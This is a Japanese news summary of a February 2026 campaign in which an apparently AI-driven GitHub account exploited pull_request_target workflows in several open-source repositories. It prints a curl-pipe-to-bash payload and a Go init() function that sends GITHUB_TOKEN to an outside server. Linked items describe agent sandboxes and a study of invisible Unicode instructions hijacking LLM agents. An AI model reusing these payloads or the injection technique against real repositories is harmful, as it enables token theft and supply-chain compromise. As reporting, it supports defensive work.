ハッカーボット・クロー:GitHub Actionsワークフローを悪用するAIボット

攻撃キャンペーンの詳細
2026年2月21日から2月28日にかけて、hackerbot-clawというGitHubアカウントが、公開リポジトリを体系的にスキャンし、悪用可能なGitHub Actionsワークフローを探しました。このアカウントは自身を「claude-opus-4-5を搭載した自律型セキュリティ研究エージェント」と称し、暗号通貨の寄付を求めています。
7日間にわたり、以下の活動を行いました:
- Microsoft、DataDog、CNCF、人気のあるオープンソースプロジェクトに属する少なくとも6つのリポジトリを標的とした
- 12件以上のプルリクエストを作成し、標的全体でワークフローをトリガーした
- 少なくとも4つのリポジトリで任意のコード実行を達成した
- 書き込み権限を持つGITHUB_TOKENを外部サーバーに流出させた
標的と手法
標的には以下が含まれていました:
- microsoft/ai-discovery-agent
- DataDog/datadog-iac-scanner
- avelino/awesome-go (140k+ stars)
- ambient-code/platform
- project-akri/akri (a CNCF project)
すべての攻撃は同じペイロードを配信しました:curl -sSfL hackmoltrepeat.com/molt | bash しかし、それぞれが実行させるために完全に異なる技術を使用しました。
ボットのREADMEはその手法を明らかにしています:9つのクラスと47のサブパターンを含む「脆弱性パターンインデックス」を読み込み、自律的にスキャン、検証、概念実証エクスプロイトを投入します。その「最近の活動」ログには、分析前の2日間に5回の成功したセッションが記録されています。
攻撃1: avelino/awesome-go - 汚染されたGoスクリプトによるトークン盗難
このキャンペーンで最も被害の大きい攻撃は、古典的な「Pwn Request」脆弱性を悪用しました - 信頼できないフォークコードをチェックアウトして実行するpull_request_targetワークフローです。
標的のワークフロー: PR品質チェック - すべてのPRで自動的にトリガーされ、PR作成者のコードをチェックアウトしてgo run ./.github/scripts/check-quality/を実行します。
攻撃: 攻撃者は品質チェックスクリプトにGoのinit()関数を注入しました。Goではinit()はmain()の前に自動的に実行されるため、悪意のあるコードが正当なチェックの前に実行されます。
最終的で最も危険な試み(PR #6069)では、ペイロードは単に任意のコマンドを実行するだけでなく、GITHUB_TOKENを外部サーバーに流出させました:
func init() {
_ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" ` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" ` +
`https://recv.hackmoltrepeat.com/ && ` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}攻撃者は18時間にわたって6回繰り返し(PR #6058、#6059、#6060、#6061、#6068、#6069)、毎回アプローチを改良しました。最初の4回の試みはgit fetchの問題で失敗しましたが、5回目と6回目の試みは成功しました。
📖 全文を読む: HN AI Agents
👀 See Also

pi-governance: OpenClawコーディングエージェント向けRBAC、DLP、監査ログ
pi-governanceは、AIコーディングエージェントとシステムの間に位置し、ツール呼び出しを分類してリスクの高い操作をブロックするプラグインです。bashコマンドのブロック、機密情報やPIIのDLPスキャン、ロールベースのアクセス制御、構造化された監査ログをゼロ設定で提供します。

開発者がOpenClawセキュリティ向けにFirecrackerマイクロVMサンドボックスを構築
LLMのセキュリティを懸念する開発者が、Firecracker microVMを使用してベアメタルサンドボックスを構築し、OpenClawスクリプトを隔離しました。各スクリプトは独自のLinuxカーネルで実行され、デフォルトで128MBのRAM上限が設定され、ネットワークアクセスはありません。

研究:不可視のUnicode文字がツールアクセスを介してLLMエージェントを乗っ取る可能性
ある研究では、通常のテキストに埋め込まれた不可視のUnicode文字に隠された指示を大規模言語モデル(LLM)が従うかどうかをテストしました。2つのエンコーディング方式を5つのモデルで8,308件の評価済み出力を用いて検証。主な発見:ツールアクセスにより、従順性が17%未満から98-100%に増幅され、モデルは隠された文字を解読するPythonスクリプトを作成しました。

Endo Familiar: AIエージェント向けオブジェクトケイパビリティサンドボックス
Endo FamiliarはAIエージェントに対してオブジェクトキャパビリティセキュリティを実装します。エージェントはゼロの環境権限から始まり、特定のファイルやディレクトリへの明示的な参照のみを受け取り、サンドボックス化されたコード内でより狭い権限を派生させることができます。